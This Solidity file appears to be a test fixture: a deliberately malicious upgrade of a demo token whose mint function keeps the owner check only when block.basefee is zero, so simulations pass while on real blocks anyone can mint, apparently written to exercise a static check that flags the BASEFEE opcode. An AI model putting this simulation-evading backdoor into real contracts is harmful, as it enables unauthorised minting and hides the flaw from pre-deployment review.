src/attack/EvilBaseFeeImpl.sol17 lines · 808 bytes
| 1 | // SPDX-License-Identifier: MIT |
| 2 | pragma solidity 0.8.37; |
| 3 | |
| 4 | import {DemoBTC} from "../DemoBTC.sol"; |
| 5 | |
| 6 | /// @title EvilBaseFeeImpl (demo attack: simulation evasion) |
| 7 | /// @notice Same selectors as DemoBTC v1. While `block.basefee == 0` (what an `eth_simulateV1` call without |
| 8 | /// validation sees) `mint` keeps v1's owner check, so a simulation of the upgrade finds nothing wrong. |
| 9 | /// On a real block (`block.basefee > 0`) the check is skipped and anyone can mint. |
| 10 | /// @dev Deliberately malicious demo code. Never deploy outside a demo. The BASEFEE opcode in its bytecode is what |
| 11 | /// the static check (R9) flags. |
| 12 | contract EvilBaseFeeImpl is DemoBTC { |
| 13 | function mint(address to, uint256 amount) public override { |
| 14 | if (block.basefee == 0) _checkOwner(); |
| 15 | _mint(to, amount); |
| 16 | } |
| 17 | } |